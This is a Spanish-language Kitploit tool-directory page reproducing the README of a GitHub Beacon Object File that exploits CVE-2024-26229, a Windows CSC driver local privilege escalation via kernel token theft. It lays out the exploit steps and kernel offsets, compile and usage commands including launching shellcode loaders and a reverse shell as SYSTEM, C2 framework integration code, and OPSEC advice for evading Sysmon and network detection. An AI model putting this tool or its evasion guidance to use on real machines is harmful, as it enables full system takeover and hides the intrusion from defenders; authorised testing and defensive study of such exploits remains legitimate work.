Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 Beacon Object File versión | Kitploit
Herramientas/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Escalada de PrivilegiosExplotaciónPost-ExplotaciónPruebas de PenetraciónRed TeamingDesarrollo de PayloadsExplotación de Binarios
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object File versión

Ver Repositorio
8hace 6 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-26229 BOF

Implementación en Beacon Object File de CVE-2024-26229 — escalada de privilegios local del controlador CSC de Windows mediante robo de token DKOM.

Basado en RalfHacker/CVE-2024-26229-exploit, convertido a BOF con resolución dinámica de funciones (DFR) para usar con frameworks C2 que soporten la API BOF de Cobalt Strike.

Cómo funciona

  1. Abre \Device\Mup\;Csc\.\. mediante NtCreateFile para obtener un manejador del controlador CSC
  2. Envía el IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) con un búfer de entrada manipulado que apunta a KTHREAD->PreviousMode - 0x18, corrompiendo PreviousMode de UserMode a KernelMode
  3. Con PreviousMode = KernelMode, NtWriteVirtualMemory puede escribir en direcciones arbitrarias del kernel
  4. Copia el token EPROCESS->Token del proceso SYSTEM (PID 4) sobre el token del proceso actual (DKOM)
  5. Restaura PreviousMode a UserMode
  6. Ejecuta el ejecutable especificado mediante CreateProcessA — el hijo hereda el token de SYSTEM

El propio proceso beacon se convierte en SYSTEM después del paso 4. El proceso generado es opcional — si CreateProcessA falla, el beacon sigue elevado.

Objetivo

  • SO: Windows 10 / Server 2019 (Build 19041+)
  • Requisito: Controlador CSC habilitado (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • Corregido en: Actualización acumulativa de abril de 2024

Desplazamientos del kernel (hardcodeados)

OffsetValorEstructura
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

Estos desplazamientos son específicos de la versión. Si se orienta a una compilación diferente, verifique con WinDbg:

dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

Compilación

Requiere mingw-w64 y un archivo de cabecera beacon.h compatible con su framework C2.

x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

Coloque el .o compilado en su directorio de BOF (p. ej., _bin/cve-2024-26229.x64.o).

Uso

cve-2024-26229 --path <ruta_exe> [--args "<argumentos_exe>"]

Ejemplos

Generar un loader con shellcode local:

cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

Generar una reverse shell:

cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

Ejecutar sin argumentos:

cve-2024-26229 --path C:\Users\user\beacon.exe

Salida esperada

[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

Integración con AdaptixC2 / AXS

Registre el BOF en su script de extensión .axs:

var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

El empaquetado de argumentos es cstr,cstr — dos cadenas terminadas en nulo que coinciden con las dos llamadas BeaconDataExtract en el BOF.

Notas OPSEC

  • Sin artefactos en espacio de usuario — DKOM opera completamente en memoria del kernel a través de PreviousMode corrompido. No se escriben archivos, no se crean servicios, no se modifican registros.
  • Sin indicadores de red — el exploit es únicamente local. Combínelo con un loader que lea shellcode desde disco (patrón --munition-local) en lugar de obtenerlo por HTTP para evitar detecciones basadas en red.
  • Creación de procesos — CreateProcessA con CREATE_NO_WINDOW. El proceso generado hereda el token de SYSTEM. Si su loader inyecta en otro proceso (p. ej., svchost.exe), el loader en disco puede eliminarse después.
  • Sysmon — la llamada NtCreateFile a \Device\Mup\;Csc\.\. y el IOCTL no suelen registrarse en las configuraciones predeterminadas de Sysmon. La llamada CreateProcessA generará un evento estándar de Creación de Proceso (Event ID 1) — asegúrese de que el binario generado no esté firmado.
  • Restauración de PreviousMode — el BOF restaura PreviousMode a UserMode después de la copia del token. El proceso beacon continúa funcionando normalmente después de la explotación.

Limitaciones

  • Solo x64 — los desplazamientos hardcodeados y la aritmética de punteros asumen 64 bits
  • Los desplazamientos son específicos de la compilación — los valores hardcodeados de EPROCESS->Token (0x4B8) y KTHREAD->PreviousMode (0x232) son válidos para Windows 10 19041–19045 y Server 2019 17763. Otras compilaciones pueden requerir ajustes.
  • El controlador CSC debe estar habilitado — verifique con sc query csc o en el registro HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). El controlador está habilitado por defecto en estaciones de trabajo, pero puede estar deshabilitado en servidores.
  • Uso único por proceso — el DKOM modifica el token EPROCESS del propio beacon. Ejecutar el BOF dos veces en el mismo beacon es redundante (ya es SYSTEM).

Créditos

  • RalfHacker — exploit independiente original
  • Natel — pruebas y revisión

Referencias

  • CVE-2024-26229 — MITRE
  • Aviso de seguridad de Microsoft

Aviso legal

Esta herramienta está destinada únicamente a pruebas de penetración autorizadas e investigación de seguridad.

El uso de esta herramienta contra sistemas que no posee o para los cuales no tiene permiso explícito por escrito es ilegal según la ley vietnamita, incluyendo, entre otras:

  • Luật An toàn thông tin mạng 2015 (Ley de Seguridad de la Información en Red, No. 86/2015/QH13) — prohíbe el acceso no autorizado a sistemas de información
  • Bộ luật Hình sự 2015, sửa đổi 2017 (Código Penal, Artículos 225–226) — penaliza la intrusión no autorizada en redes informáticas y la destrucción de datos

Esta herramienta se proporciona solo con fines educativos. El autor no asume ninguna responsabilidad por su mal uso. Usted es el único responsable de asegurar que su uso cumple con todas las leyes locales, nacionales e internacionales aplicables.

Al usar esta herramienta, confirma que ha obtenido la autorización adecuada del propietario del sistema antes de cualquier actividad de prueba.

Descargar herramienta